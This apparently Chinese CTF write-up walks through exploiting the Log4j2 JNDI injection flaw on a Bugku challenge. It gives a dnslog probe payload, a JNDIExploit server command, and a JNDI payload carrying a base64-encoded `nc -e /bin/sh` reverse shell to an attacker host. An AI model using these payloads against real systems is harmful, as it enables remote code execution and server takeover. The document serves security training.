Log4j2_RCE漏洞复现
漏洞介绍
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
漏洞地址
https://ctf.bugku.com/challenges/detail/id/340.html
复现过程
首先这里需要一台外网VPS服务器,然后在上面安装JNDI注入工具
打开题目
先使用dnslog进行测试
${jndi:ldap://2c7b25a4.xxxxx.ceye.io/exp}
填在账号输入的位置即可,密码随便填
然后点击提交
可以看到笔者这边的dnslog平台成功返回一条记录,说明存在Log4j2_RCE漏洞
开启ldap和http服务监听
java -jar JNDIExploit-master.jar -i [自己的公网VPS地址]
新开一个界面,使用nc监听本地的12345端口
进行jndi注入攻击
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}
直接填写base64加密的反弹shell命令即可
nc x.x.x.x 12345 -e /bin/sh
base64编码网站:https://www.qqxiuzi.cn/bianma/base64.htm
把这条注入表达式填入登陆的user框中, 密码随便填一个即可
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/bmMgeC54LngueCAxMjM0NSAtZSAvYmluL3No}
然后点击提交
可以看到nc监听的端口是成功返回了一个会话,Log4j2_RCE漏洞复现成功,在其根目录下面成功获取flag